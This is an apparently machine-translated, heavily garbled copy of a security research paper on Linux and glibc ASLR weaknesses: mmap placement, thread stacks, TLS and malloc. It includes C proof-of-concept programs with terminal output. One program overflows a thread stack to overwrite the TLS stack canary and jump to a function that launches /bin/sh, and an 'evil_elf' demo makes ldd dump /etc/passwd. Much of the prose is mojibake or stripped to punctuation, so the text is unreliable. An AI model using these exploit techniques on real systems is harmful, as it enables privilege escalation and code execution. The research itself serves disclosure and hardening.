šäœãããŠã³ããŒãããELFãã¡ã€ã«ã®èª¬æã«åŸã£ãŠæš©å©ãšãªãã»ããã«ãã£ãŠã»ã°ã¡ã³ããåé¢ã§ããããã«ããããã«å¿
èŠã§ãã ãã®ã¢ãããŒãã«ãããã»ã°ã¡ã³ãéã®ELFãã¡ã€ã«ã§å®çŸ©ãããŠããå Žåãã¡ã¢ãªã«ç©Žãäœæã§ããŸãã
ldïŒGNU LibcïŒã€ã³ã¿ãŒããªã¿ãŒã䜿çšããŠELFãã¡ã€ã«ãèªã¿èŸŒãå Žå-åãç¶æ³ã§-unmapãåŒã³åºããŸãããã空ãããŒãžïŒç©ŽïŒã®ã¢ã¯ã»ã¹èš±å¯ãPROT_NONEã«å€æŽã ãããã»ã¹ããããã®ããŒãžã«ã¢ã¯ã»ã¹ã§ããªãããã«ããŸãã ãã®ã¢ãããŒãã¯ããå®å
šã§ãã
ããŒã«ãå«ãELFãã¡ã€ã«ãããŒãããåé¡ãä¿®æ£ããããã«ãLinuxã«ãŒãã«ã¯ãGNU Libcã®ldã®ãããªããžãã¯ãå®è£
ããããããææ¡ããŸããïŒã»ã¯ã·ã§ã³7.1ãåç
§ïŒã
4.5 TLSãšã¹ããªãŒã ã¹ã¿ãã¯
TLSïŒã¹ã¬ããããŒã«ã«ã¹ãã¬ãŒãžïŒã¯ããã«ãã¹ã¬ããããã»ã¹ã®åã¹ã¬ãããããŒã¿ã¹ãã¬ãŒãžã®å Žæãå²ãåœãŠãããšãã§ããã¡ã«ããºã ã§ãïŒ18ïŒã ãã®ã¡ã«ããºã ã®å®è£
ã¯ãã¢ãŒããã¯ãã£ãšãªãã¬ãŒãã£ã³ã°ã·ã¹ãã ã«ãã£ãŠç°ãªããŸãããã®å Žåãx86-64ã®glibcã®å®è£
ã§ãã x86ã®å Žåãæ€èšäžã®mmapã®åé¡ã®éãã¯éèŠã§ã¯ãããŸããã
glibcã®å Žåã mmapã¯TLSã¹ããªãŒã ã®äœæã«ã䜿çšãããŸãã ããã¯ãã¹ããªãŒã ã®TLSãäžèšã®æ¹æ³ã§éžæãããè匱ãªãªããžã§ã¯ãã«è¿ãå Žåã¯å€æŽã§ããããšãæå³ããŸãã
TLSã®è峿·±ããšããã¯äœã§ããïŒ glibcã®å®è£
ã§ã¯ãTLSã¯ã»ã°ã¡ã³ãã¬ãžã¹ã¿fs ïŒx86-64ã¢ãŒããã¯ãã£ã®å ŽåïŒã«ãã£ãŠç€ºãããŸãã ãã®æ§é ã¯ãglibcãœãŒã¹ãã¡ã€ã«ã§å®çŸ©ãããŠããtcbhead_tã¿ã€ãã«ãã£ãŠèšè¿°ãããŸãã
typedef struct { void *tcb; dtv_t *dtv; void *self; int multiple_threads; int gscope_flag; uintptr_t sysinfo; uintptr_t stack_guard; uintptr_t pointer_guard; ... } tcbhead_t;
ãã®ã¿ã€ãã«ã¯ãã¹ã¿ãã¯äžã®ãââããã¡ãªãŒããŒãããŒããã¢ããªã±ãŒã·ã§ã³ãä¿è·ããã©ã³ãã ïŒãŸãã¯æ¬äŒŒã©ã³ãã ïŒçªå·ã§ããããããããã«ããªã¢ããæ ŒçŽããstack_guardãã£ãŒã«ããå«ãŸããŸãïŒ19ïŒã
ä¿è·ã¯æ¬¡ã®ããã«æ©èœããŸãã颿°ãå
¥åãããšãã¹ã¿ãã¯ã«ãã«ããªã¢ããé
眮ãããŸããããã¯tcbhead_t.stack_guardããååŸãããŸã ã 颿°ã®æåŸã§ãã¹ã¿ãã¯äžã®å€ãtcbhead_t.stack_guardã®åç
§å€ãšæ¯èŒãããäžèŽããªãå Žåãã¢ããªã±ãŒã·ã§ã³ã¯å€±æããŸãã
次ã®åé¿çãç¥ãããŠããŸãã
- æ»æè
ããã®å€ãäžæžãããå¿
èŠããªãå ŽåïŒ20ïŒã
- æ»æè
ããã®å€ãèªã¿åã£ããäºæž¬ããããããšãæ»æãæåãããæ©äŒããããŸãïŒ20ïŒã
- æ»æè
ããã®å€ãæ¢ç¥ã®å€ã§äžæžãã§ããå Žåãã¹ã¿ãã¯ã§ãããã¡ãªãŒããŒãããŒæ»æãæåãããããšãã§ããŸãïŒ20ïŒã
- ã¢ããªã±ãŒã·ã§ã³ãå®äºããåã«æ»æè
ãå¶åŸ¡ã§ããå ŽåïŒ21ïŒã
äžèšãããæ»æè
ã«ããTLSã®èªã¿åããŸãã¯æžãæãããTLSãä¿è·ããããšã®éèŠæ§ã¯æ¬¡ã®ãšããã§ãã
ãã®èª¿æ»äžã«ãpthread_createã䜿çšããŠäœæãããã¹ã¬ããã®glibcã®TLSå®è£
ã«åé¡ãçºèŠãããŸããã æ°ããã¹ããªãŒã ã®å ŽåãTLSãéžæããå¿
èŠããããŸãã glibcã¯ãã¹ã¿ãã¯ã«ã¡ã¢ãªãå²ãåœãŠãåŸããã®ã¡ã¢ãªã®äžäœã¢ãã¬ã¹ã§TLSãåæåããŸãã æ€èšäžã®x86-64ã¢ãŒããã¯ãã£ã§ã¯ãã¹ã¿ãã¯ãçž®å°ããŸããã€ãŸããTLSã¯ã¹ã¿ãã¯ã®æäžäœã«ãããŸãã TLSããäžå®ã®å€ãé€ããŠãã¹ã¿ãã¯ã¬ãžã¹ã¿ã®æ°ããã¹ã¬ããã䜿çšããå€ãååŸããŸãã TLSããpthread_createã®åŒæ°ã«ãã£ãŠæž¡ããã颿°ã®ã¹ã¿ãã¯ãã¬ãŒã ãŸã§ã®è·é¢ã¯1ããŒãžæªæºã§ãã æ»æè
ã¯ãã«ããªã¢ãã®æå³ãæšæž¬ããããèŠããããããå¿
èŠããªããªããåã«åç
§å€ãã¹ã¿ãã¯äžã®å€ã§äžæžããããã®ä¿è·ãå®å
šã«ãã€ãã¹ã§ããŸãã åæ§ã®åé¡ãIntel MEã§èŠã€ãããŸããïŒ22ïŒã
4.6 mallocãšmmap
å Žåã«ãã£ãŠmallocã䜿çšããå Žåãglibcã¯mmapã䜿çšããŠã¡ã¢ãªã®æ°ããã»ã¯ã·ã§ã³ãå²ãåœãŠãŸã-èŠæ±ãããã¡ã¢ãªã®ãµã€ãºãç¹å®ã®å€ãã倧ããå Žåã ãããã®å Žåãã¡ã¢ãªã¯mmapã䜿çšããŠå²ãåœãŠãããŸããã€ãŸããå²ãåœãŠåŸã®ã¢ãã¬ã¹ã¯ãã©ã€ãã©ãªãŸãã¯mmapã«ãã£ãŠå²ãåœãŠãããä»ã®ããŒã¿ã®ãé£ãã«ãããŸãã ãããã®å Žåãæ»æè
ã®æ³šæã¯ãããŒããªãŒããŒãããŒããuse after freeãïŒ23ïŒããtype confusionãïŒ14ïŒãªã©ãããŒãäžã®ãªããžã§ã¯ãã®åŠçãšã©ãŒã«ãã£ãŠåŒãä»ããããŸãã
pthread_createããã°ã©ã ã䜿çšãããšãglibcã©ã€ãã©ãªã®è峿·±ãåäœãèŠãããŸããã pthread_creaeteã«ãã£ãŠäœæãããã¹ã¬ããããåããŠmallocãåŒã³åºããããšãglibcã¯mmapãåŒã³åºããŠãã®ã¹ã¬ããã®æ°ããããŒããäœæããŸãã ãã®å Žåããã®ã¹ã¬ããã§mallocã䜿çšããŠå²ãåœãŠããããã¹ãŠã®ã¢ãã¬ã¹ã¯ãåãã¹ã¬ããã®ã¹ã¿ãã¯ã®è¿ãã«é
眮ãããŸãã ãã®ã±ãŒã¹ã«ã€ããŠã¯ãã»ã¯ã·ã§ã³5.7ã§è©³ãã説æããŸãã
äžéšã®ããã°ã©ã ããã³ã©ã€ãã©ãªã¯ã mmapã䜿çšããŠãã¡ã€ã«ãããã»ã¹ã¢ãã¬ã¹ç©ºéã«ãããããŸãã ãããã®ãã¡ã€ã«ã¯ãããšãã°ãã£ãã·ã¥ãšããŠäœ¿çšãããããã£ã¹ã¯äžã®ããŒã¿ããã°ããä¿åïŒå€æŽïŒãããããããã«äœ¿çšã§ããŸãã
æœè±¡äŸïŒmmapã䜿çšããŠã¢ããªã±ãŒã·ã§ã³ã«MP3ãã¡ã€ã«ãããŠã³ããŒããããŸãã ããŠã³ããŒãã¢ãã¬ã¹ã¯mmap_mp3ãšåŒã°ããŸã ã æ¬¡ã«ãããŠã³ããŒãããããŒã¿ãããªãã»ãããªãŒãã£ãªããŒã¿ã®éå§åã«ãªãã»ãããèªã¿åããŸãã ååŸããå€ã®é·ãããã§ãã¯ãããšã©ãŒãã¢ããªã±ãŒã·ã§ã³ã«å«ããŸãã ãã®åŸãæ»æè
ã¯ç¹å¥ãªæ¹æ³ã§MP3ãã¡ã€ã«ãæºåãã mmap_mp3ã®åŸã«ããã¡ã¢ãªé åã«ã¢ã¯ã»ã¹ã§ããŸãã
4.7 MAP_FIXEDããã³ET_DYN ELFãã¡ã€ã«ã®ããŠã³ããŒã
以äžã¯ã MAP_FIXEDãã©ã°ã®mmapããã¥ã¢ã«ã«æžãããŠããŸãã
MAP_FIXED
addrããã³ããšããŠè§£éããªãã§ãã ããããããã³ã°ãæ£ç¢ºã«ãã®ã¢ãã¬ã¹ã«é
眮ããŠãã ããã addrã¯ããŒãžãµã€ãºã®åæ°ã§ãªããã°ãªããŸããã ã¡ã¢ãªé åãaddrãšlenã§æå®ãããŠããå Žå
æ¢åã®ãããã³ã°ã®ããŒãžãéè€ããŠããå Žåãæ¢åã®ãããã³ã°ã®éè€éšåã¯ç Žæ£ãããŸãã fæå®ãããã¢ãã¬ã¹ã¯äœ¿çšã§ããŸãããmmapïŒïŒ
倱æããŸãã ãããã³ã°ã«åºå®ã¢ãã¬ã¹ãèŠæ±ããããšã¯ç§»æ€æ§ãäœãããããã®ãªãã·ã§ã³ã®äœ¿çšã¯æšå¥šãããŸããã
MAP_FIXEDãã©ã°ãæã€èŠæ±ãããé åãæ¢åã®é åãšéè€ããå Žåãæåããmmapã®çµæã¯æ¢åã®é åãäžæžãããŸãã
ãããã£ãŠãããã°ã©ããMAP_FIXEDã®æäœã§ãã¹ãç¯ããå Žåãæ¢åã®ã¡ã¢ãªé åããªãŒããŒã©ã€ãã§ããŸãã
ãã®ãããªãšã©ãŒã®è峿·±ãäŸã¯ãLinuxã«ãŒãã«ãšglibcã®äž¡æ¹ã§ãã®äœæ¥ã®ã³ã³ããã¹ãã§èŠã€ãããŸããã
ïŒ24ïŒã§èª¬æãããŠããELFãã¡ã€ã«ã«ã¯èŠä»¶ããããŸããELFãã¡ã€ã«ã®ã»ã°ã¡ã³ãã¯ã vaddrã¢ãã¬ã¹ã®æé ã§PhdrããããŒã«ç¶ãå¿
èŠããããŸãã
PT_LOAD
é
åèŠçŽ ã¯ãp_fileszããã³p_memszã§èšè¿°ãããããŒãå¯èœãªã»ã°ã¡ã³ããæå®ããŸãã ãã¡ã€ã«ã®ãã€ãã¯ãã¡ã¢ãªã»ã°ã¡ã³ãã®å
é ã«ãããã³ã°ãããŸãã ã»ã°ã¡ã³ãã®ã¡ã¢ãªãµã€ãºïŒp_memszïŒããã¡ã€ã«ãµã€ãºïŒp_fileszïŒããã倧ããå Žåãã远å ããã€ãã¯ãå€0ãä¿æããã»ã°ã¡ã³ãã®åæåãããé åã«åŸãããã«å®çŸ©ãããŸãã ãã¡ã€ã«ãµã€ãºã¯ã¡ã¢ãªãµã€ãºãã倧ãããªãå ŽåããããŸãã ããã°ã©ã ããããŒããŒãã«å
ã®ããŒãå¯èœãªã»ã°ã¡ã³ããšã³ããªã¯ãp_vaddrã¡ã³ããŒã§ãœãŒããããæé ã§è¡šç€ºãããŸãã
ãã ãããã®èŠä»¶ã¯æ€èšŒãããŠããŸããã çŸåšã®ELFãã¡ã€ã«ã®ããŠã³ããŒãã³ãŒãã¯æ¬¡ã®ãšããã§ãã
case PT_LOAD: struct loadcmd *c = &loadcmds[nloadcmds++]; c->mapstart = ALIGN_DOWN (ph->p_vaddr, GLRO(dl_pagesize)); c->mapend = ALIGN_UP (ph->p_vaddr + ph->p_filesz, GLRO(dl_pagesize)); ... maplength = loadcmds[nloadcmds - 1].allocend - loadcmds[0].mapstart; ... for (const struct loadcmd *c = loadcmds; c < &loadcmds[nloadcmds]; ++c) ... if (__glibc_unlikely (__mmap ((void *) (l->l_addr + c->mapstart), maplen, c->prot, MAP_FIXED|MAP_COPY|MAP_FILE, fd, c->mapoff)
ãã¹ãŠã®ã»ã°ã¡ã³ãã®åŠçã¢ã«ãŽãªãºã ã¯æ¬¡ã®ãšããã§ãã
- ããŠã³ããŒãããELFãã¡ã€ã«ã®ãµã€ãºããæåŸã®ã»ã°ã¡ã³ãã®çµäºã¢ãã¬ã¹ããæåã®ã»ã°ã¡ã³ãã®éå§ã¢ãã¬ã¹ãåŒããŠèšç®ããŸãã
- èšç®ããããµã€ãºã§ELFãã¡ã€ã«å
šäœã«å¯ŸããŠmmapã䜿çšããŠã¡ã¢ãªãå²ãåœãŠãELFãã¡ã€ã«ã®ããŒã¹ããŠã³ããŒãã¢ãã¬ã¹ãååŸããŸãã
- glibcã®å Žåãã¢ã¯ã»ã¹æš©ã倿ŽããŸãã ã«ãŒãã«ããããŒãããå Žåã穎ã圢æããé åãè§£æŸããŸãã ãã®æç¹ã§ãã»ã¯ã·ã§ã³4.4ã§åè¿°ããããã«ãglibcãšLinuxã«ãŒãã«ã®åäœã¯ç°ãªããŸãã
- æåã®ã»ã°ã¡ã³ããéžæããããšãã«ååŸããã¢ãã¬ã¹ã䜿çšããELFãã¡ã€ã«ããããŒããååŸãããªãã»ããã远å ããŠã mmapãšæ®ãã®ãã¹ãŠã®ã»ã°ã¡ã³ãã«èšå®ãããMAP_FIXEDãã©ã°ã䜿çšããŠã¡ã¢ãªãå²ãåœãŠãŸãã
ELF-, â , , .
ldd, . ld. ELF- , ldd:
blackzert@crasher:~/aslur/tests/evil_elf$ ldd ./main root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin blackzert@crasher:~/aslur/tests/evil_elf$
/etc/passwd. :
blackzert@crasher:~/aslur/tests/evil_elf$ ldd ./main linux-vdso.so.1 => (0x00007ffc48545000) libevil.so => ./libevil.so (0x00007fbfaf53a000) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fbfaf14d000) /lib64/ld-linux-x86-64.so.2 (0x000055dda45e6000)
evil_elf .
MAP_FIXED Linux (25), .
4.8
glibc , ASLR â . : , . glibc , , . mmap , . , . , , , .
: . , , . .
5.
, , mmap . , .
, .
5.1 C
pthread_create . ãœãŒã¹ã³ãŒãïŒ
int * p_a = 0; int * p_b = 0; void *first(void *x) { int a = (int)x; p_a = &a; sleep(1); return 0; } void *second(void *x) { int b = (int)x; p_b = &b; sleep(1); return 0; } int main() { pthread_t one, two; pthread_create(&one, NULL, &first, 0); pthread_create(&two, NULL, &second, 0); void *val; pthread_join(one,&val); pthread_join(two, &val); printf("Diff: 0x%x\n", (unsigned long)p_a - (unsigned long)p_b); printf("first thread stack variable: %p second thread stack vairable: %p\n", p_a, p_b); return 0; }
:
blackzert@crasher:~/aslur/tests$ ./threads_stack_constant Diff: 0x801000 first thread stack variable: 0x7facdf356f44 second thread stack vairable: 0x7facdeb55f44
:
blackzert@crasher:~/aslur/tests$ ./threads_stack_constant Diff: 0x801000 first thread stack variable: 0x7f360cebef44 second thread stack vairable: 0x7f360c6bdf44
, . 'Diff', . â ALSR.
5.2 , malloc
malloc . , malloc, . ãœãŒã¹ã³ãŒãïŒ
void *ptr; void * first(void *x) { int a = (int)x; int *p_a = &a; int pid = getpid(); printf("Diff:%lx\nmalloc: %p, stack: %p\n", (unsigned long long)ptr - (unsigned long long)p_a, ptr, p_a); return 0; } int main() { pthread_t one; ptr = malloc(128 * 4096 * 4096 - 64); pthread_create(&one, NULL, &first, 0); void *val; pthread_join(one,&val); return 0; }
:
blackzert@crasher:~/aslur/tests$ ./big_heap_thread_stack_constant Diff:11ec malloc: 0x7f4374ab2010, stack: 0x7f4374ab0e24
:
blackzert@crasher:~/aslur/tests$ ./big_heap_thread_stack_constant Diff:11ec malloc: 0x7f9b00d4b010, stack: 0x7f9b00d49e24
, â . , malloc, â ASLR.
5.3 mmap
mmap pthread_create . , mmap, . ãœãŒã¹ã³ãŒãïŒ
void * first(void *x) { int a = (int)x; int *p_a = &a; void *ptr = mmap(0, 8 * 4096 *4096, 3, MAP_ANON | MAP_PRIVATE, -1, 0); printf("%lx\n%p, %p\n", (unsigned long long)p_a - (unsigned long long)ptr, ptr, p_a); return 0; } int main() { pthread_t one; pthread_create(&one, NULL, &first, 0); void *val; pthread_join(one,&val); return 0; }
:
blackzert@crasher:~/aslur/tests$ ./thread_stack_mmap_constant 87fff34 0x7f35b0e3d000, 0x7f35b963cf34
:
blackzert@crasher:~/aslur/tests$ ./thread_stack_mmap_constant 87fff34 0x7f5a1083f000, 0x7f5a1903ef34
. , mmap, â ASLR.
5.4 mmap TLS
mmap TLS . . , «» TLS. ãœãŒã¹ã³ãŒãïŒ
int main(int argc, char **argv, char **envp) { int res; char buffer[256]; sprintf(buffer, "%.255s",argv[0]); unsigned long * frame = __builtin_frame_address(0); unsigned long * tls; res = arch_prctl(ARCH_GET_FS, &tls); unsigned long * addr = mmap(0, 8 * 4096 *4096, 3, MAP_ANON | MAP_PRIVATE, -1, 0); if (addr == MAP_FAILED) return -1; printf("TLS %p , FRAME %p\n", tls, frame); printf(" stack cookie: 0x%lx, from tls 0x%lx\n", frame[-1], tls[5]); printf("from mmap to TLS: 0x%lx\n", (char *)tls - (char*)addr); unsigned long diff = tls - addr; tcbhead_t *head = (tcbhead_t*)&addr[diff]; printf("cookie from addr: 0x%lx\n", head->stack_guard); printf("cookie == stack_cookie? %d\n", head->stack_guard == frame[-1]); return 0; }
:
blackzert@crasher:~/aslur/tests$ ./mmap_tls_constant TLS 0x7f520540c700 , FRAME 0x7ffed15ba130 stack cookie: 0x94905ec857965c00, from tls 0x94905ec857965c00 from mmap to TLS: 0x85c8700 cookie from addr: 0x94905ec857965c00 cookie == stack_cookie? true
:
blackzert@crasher:~/aslur/tests$ ./mmap_tls_constant TLS 0x7f6d4a081700 , FRAME 0x7ffe8508a2f0 stack cookie: 0x51327792302d5300, from tls 0x51327792302d5300 from mmap to TLS: 0x85c8700 cookie from addr: 0x51327792302d5300 cookie == stack_cookie? true
, , «» . , «» . â , mmap . 0x85c8700 . ASLR «».
5.5 mmap glibc
4.2, : mmap «system» «execv» glibc â :
int main(int argc, char **argv, char **envp) { int res; system(""); // call to make lazy linking execv("", NULL); // call to make lazy linking unsigned long addr = (unsigned long)mmap(0, 8 * 4096 *4096, 3, MAP_ANON | MAP_PRIVATE, -1, 0); if (addr == MAP_FAILED) return -1; unsigned long addr_system = (unsigned long)dlsym(RTLD_NEXT, "system"); unsigned long addr_execv = (unsigned long)dlsym(RTLD_NEXT, "execv"); printf("addr %lx system %lx execv %lx\n", addr, addr_system, addr_execv); printf("system - addr %lx execv - addr %lx\n", addr_system - addr, addr_execv - addr); return 0; }
:
blackzert@crasher:~/aslur/tests$ ./mmap_libc addr 7f02e9f85000 system 7f02f1fca390 execv 7f02f2051860 system - addr 8045390 execv - addr 80cc860
:
blackzert@crasher:~/aslur/tests$ ./mmap_libc addr 7f534809c000 system 7f53500e1390 execv 7f5350168860 system - addr 8045390 execv - addr 80cc860
, . ASLR, , mmap. , , .
5.6
TLS-. , «» TLS, . â .
0x41. :
void pwn_payload() { char *argv[2] = {"/bin/sh", 0}; execve(argv[0], argv, 0); } int fixup = 0; void * first(void *x) { unsigned long *addr; arch_prctl(ARCH_GET_FS, &addr); printf("thread FS %p\n", addr); printf("cookie thread: 0x%lx\n", addr[5]); unsigned long * frame = __builtin_frame_address(0); printf("stack_cookie addr %p \n", &frame[-1]); printf("diff : %lx\n", (char*)addr - (char*)&frame[-1]); unsigned long len =(unsigned long)( (char*)addr - (char*)&frame[-1]) + fixup; // example of exploitation // prepare exploit void *exploit = malloc(len); memset(exploit, 0x41, len); void *ptr = &pwn_payload; memcpy((char*)exploit + 16, &ptr, 8); // exact stack-buffer overflow example memcpy(&frame[-1], exploit, len); return 0; } int main(int argc, char **argv, char **envp) { pthread_t one; unsigned long *addr; void *val; arch_prctl(ARCH_GET_FS, &addr); if (argc > 1) fixup = 0x30; printf("main FS %p\n", addr); printf("cookie main: 0x%lx\n", addr[5]); pthread_create(&one, NULL, &first, 0); pthread_join(one,&val); return 0; }
. «»:
blackzert@crasher:~/aslur/tests$ ./thread_stack_tls main FS 0x7fa0e8615700 cookie main: 0xb5b15744571fd00 thread FS 0x7fa0e7e2f700 cookie thread: 0xb5b15744571fd00 stack_cookie addr 0x7fa0e7e2ef48 diff : 7b8 *** stack smashing detected ***: ./thread_stack_tls terminated Aborted (core dumped)
«», pwn_payload , sh.
blackzert@crasher:~/aslur/tests$ ./thread_stack_tls 1 main FS 0x7f4d94b75700 cookie main: 0x2ad951d602d94100 thread FS 0x7f4d94385700 cookie thread: 0x2ad951d602d94100 stack_cookie addr 0x7f4d94384f48 diff : 7b8 $ ^D blackzert@crasher:~/aslur/tests$
. , «». 0x7b8+0x30 , 2024 .
5.7 , malloc
, malloc . ãœãŒã¹ã³ãŒãïŒ
void * first(void *x) { int a = (int)x; int *p_a = &a; void *ptr; ptr = malloc(8); printf("%lx\n%p, %p\n", (unsigned long long)ptr - (unsigned long long)p_a, ptr, p_a); return 0; } int main() { pthread_t one; pthread_create(&one, NULL, &first, 0); void *val; pthread_join(one,&val); return 0; }
:
blackzert@crasher:~/aslur/tests$ ./thread_stack_small_heap <b>fffffffff844e98c</b> 0x7f20480008c0, 0x7f204fbb1f34
:
blackzert@crasher:~/aslur/tests$ ./thread_stack_small_heap <b>fffffffff94a598c</b> 0x7fa3140008c0, 0x7fa31ab5af34
. . , .
, : , malloc, [heap] .
glibc pthread_create . TLS , «» , : malloc.
«»?
glibc mmap, . 64 . 64 . 128 , 64 , , «» , mmap .
mmap_based : 64 , mmap , malloc .
, â .
, x86-64 Linux «47bits minus one guard page», 2^47 ( ).
64 2^26, 47 â 26 = 21. 2^21 .
.
mmap , , pthread_create , 64 , . , , . .
malloc . glibc, ld . .
6 , mmap_base , : mmap_base 28 32 ( 28 ). .
, 7 0x7f 0x7e. 7 . 2^14 . , .
C:
void * first(void *x) { int a = (int)x; void *ptr; ptr = malloc(8); printf("%p\n", ptr ); return 0; } int main() { pthread_t one; pthread_create(&one, NULL, &first, 0); void *val; pthread_join(one,&val); return 0; }
, , Python:
import subprocess d = {} def dump(iteration, hysto): print 'Iteration %d len %d'%(iteration, len(hysto)) for key in sorted(hysto): print hex(key), hysto[key] i = 0 while i < 1000000: out = subprocess.check_output(['./t']) addr = int(out, 16)
'./t', , malloc . , , . 16 385 , 2^14+1. , .
« , malloc », . : mmap , , â .
5.8
malloc . , malloc . 0xdeadbeef. , malloc. . . ãœãŒã¹ã³ãŒãïŒ
void * func(void *x) { long a[1024]; printf("addr: %p\n", &a[0]); if (x) printf("value %lx\n", a[0]); else { a[0] = 0xdeadbeef; printf("value %lx\n", a[0]); } void * addr = malloc(32); printf("malloced %p\n", addr); free(addr); return 0; } int main(int argc, char **argv, char **envp) { int val; pthread_t thread; pthread_create(&thread, NULL, func, 0); pthread_join(thread, &val); pthread_create(&thread, NULL, func, 1); pthread_join(thread, &val); return 0; }
:
blackzert@crasher:~/aslur/tests$ ./pthread_cache addr: <b>0x7fd035e04f40</b> value <b>deadbeef</b> malloced <b>0x7fd030000cd0</b> addr: <b>0x7fd035e04f40</b> value <b></b>deadbeef malloced <b>0x7fd030000cd0</b>
, , , . , malloc. . (26). , ASLR.
, :
- «execve» .
- vma, ( stack_base ). 2^47 â pagesize ( pagesize â , x86-64 4096), random1 , 16 ( , , : , ).
- mmap_base â , . stack_base â random2 â 128 , random2 , 1 16 .
- . PIE ( ), (2^47 â 1) * 2/3 + random3, random3 1 16 .
- , -, . ELF- ld glibc. mmap_base .
- ELF- random4 32 .
, , ELF- (ld), ELF- , ( «» ELF).
ASLR

, , , . ( ), .
, ASLR. , , .
, mmap - () mmap -:
- mmap -, ( 4.3), mmap_base mmap -.
- mmap- â - .
Python, . ELF- . , , /proc: ld ( mmap_base) , . . . https://github.com/blackzert/aslur
6.1
, - .
- . glibc . â , , . . :
- () , pthread_create , () , .
- () , vtable libc.main_arena. libc.main_arena glibc mmap_base. vtable ( mmap_base), . , .got.plt, .
- :
7.
, . .
7.1 ld.so
4.4, ELF- Linux . , :
https://lkml.org/lkml/2017/7/14/290
7.2 ELF-
, glibc ELF- â , . PoC , https://github.com/blackzert/aslur
: , vaddr .
7.3 mmap_min_addr mmap
mmap , , : mmap . «», execve.
( 3) « , ». , mmap_min_addr. sysctl. , . 65536.
, mmap x86-64 Linux 4096, mmap_min_addr. cap_mmap_addr , 4096 mmap_min_addr.
cap_mmap_addr : «» . : , - , . , , , «» EPERM.
: , . , â EPERM .
mmap_min_addr . .
, , , â EPERM, . mmap :
â EPERM The operation was prevented by a file seal; see fcntl(2).â
EPERM MAP_ANONYMOUS, .
7.4 mmap
mmap â . , , â . , , . , â .
:
- . , () .
- , , , . () , , , . vma .
- - vma gap . , .
â vma :
- gap, . vma , . , ENOMEM .
- gap , vma â .
- vma . - , .
- vma , vma . , . 1, gap.
- gap.
4 , gap .
, .
vma , gap. .
8. ASLR
/bin/less :
314a2d0da000-314a2d101000 r-xp /lib/x86_64-linux-gnu/ld-2.26.so 314a2d301000-314a2d302000 r
:
- , .
- «/usr/lib/locale/locale-archive», mmap, .
- «» /lib/x86_64-linux-gnu/ld-2.26.so mmap.
Ubuntu 17.04 Chrome Mozilla Firefox. .
9.
glibc . . :
- mmap .
- ELF- .
- do_mmap mmap_min_addr x86-64.
- ELF- «» ELF- ELF-.
- ELF- GNU Libc ld, mmap , mmap_base . .
- GNU Libc, mmap , TLS , mmap_base .
- GNU Libc TLS , c pthread_create , , , «».
- GNU Libc () , .
- GNU Libc , 2^26, .
ASLR . .
PoC. , . ASLR , Windows Mac OS X.
GNU Libc, .
ASLR , Windows, Mac OS X Android.
: .
åç
§è³æ
- Erik Buchanan, Ryan Roemer, Stefan Savage, Hovav Shacham. Return-Oriented Programming: Exploits Without Code Injection. [Online] Aug 2008. https://www.blackhat.com/presentations/bh-usa-08/Shacham/BH_US_08_Shacham_Return_Oriented_Programming.pdf .
- xorl. [Online] https://xorl.wordpress.com/2011/01/16/linux-kernel-aslr-implementation/ .
- Reed Hastings, Bob Joyce. Purify: Fast Detection of Memory Leaks and Access Errors. [ ] December 1992 . https://web.stanford.edu/class/cs343/resources/purify.pdf .
- Improper Restriction of Operations within the Bounds of a Memory Buffer. [ ] https://cwe.mitre.org/data/definitions/119.html .
- AMD Bulldozer Linux ASLR weakness: Reducing entropy by 87.5%. [ ] http://hmarco.org/bugs/AMD-Bulldozer-linux-ASLR-weakness-reducing-mmaped-files-by-eight.html .
- Dmitry Evtyushkin, Dmitry Ponomarev, Nael Abu-Ghazaleh. Jump Over ASLR: Attacking Branch Predictors to Bypass ASLR. [ ] http://www.cs.ucr.edu/~nael/pubs/micro16.pdf .
- Hector Marco-Gisbert, Ismael Ripoll. Offset2lib: bypassing full ASLR on 64bit Linux. [ ] https://cybersecurity.upv.es/attacks/offset2lib/offset2lib.html .
- Hector Marco-Gisbert, Ismael Ripoll-Ripoll. ASLR-NG: ASLR Next Generation. [ ] 2016 . https://cybersecurity.upv.es/solutions/aslr-ng/ASLRNG-BH-white-paper.pdf .
- Doubly linked list. [ ] https://en.wikipedia.org/wiki/Doubly_linked_list .
- Bayer, Rudolf. Symmetric binary B-Trees: Data structure and maintenance algorithms. [ ] 24 January 1972 . https://link.springer.com/article/10.1007%2FBF00289509 .
- Lespinasse, Michel. mm: use augmented rbtrees for finding unmapped areas. [ ] 5 November 2012 . https://lkml.org/lkml/2012/11/5/673 .
- Integer Overflow or Wraparound. [ ] https://cwe.mitre.org/data/definitions/190.html .
- Classic Buffer Overflow. [ ] https://cwe.mitre.org/data/definitions/120.html .
- Incorrect Type Conversion or Cast. [ ] https://cwe.mitre.org/data/definitions/704.html .
- CVE-2014-9427. [ ] https://www.cvedetails.com/cve/CVE-2014-9427/ .
- Security Enhancements in Android 7.0. [ ] https://source.android.com/security/enhancements/enhancements70 .
- Implement Library Load Order Randomization. [ ] https://android-review.googlesource.com/c/platform/bionic/+/178130/2 .
- Thread-Local Storage. [ ] http://gcc.gnu.org/onlinedocs/gcc-3.3/gcc/Thread-Local.html .
- One, Aleph. Smashing The Stack For Fun And Profit. [ ] http://www.phrack.org/issues/49/14.html#article .
- Fritsch, Hagen. Buffer overflows on linux-x86-64. [ ] 16 April 2009 . http://www.blackhat.com/presentations/bh-europe-09/Fritsch/Blackhat-Europe-2009-Fritsch-Buffer-Overflows-Linux-whitepaper.pdf .
- Litchfield, David. Defeating the Stack Based Buffer Overflow Prevention. [ ] 8 September 2003 . https://crypto.stanford.edu/cs155old/cs155-spring05/litch.pdf .
- Maxim Goryachy, Mark Ermolov. HOW TO HACK A TURNED-OFF COMPUTER, OR RUNNING. [ ] https://www.blackhat.com/docs/eu-17/materials/eu-17-Goryachy-How-To-Hack-A-Turned-Off-Computer-Or-Running-Unsigned-Code-In-Intel-Management-Engine-wp.pdf .
- Use After Free. [ ] https://cwe.mitre.org/data/definitions/416.html .
- [ ] http://www.skyfree.org/linux/references/ELF_Format.pdf .
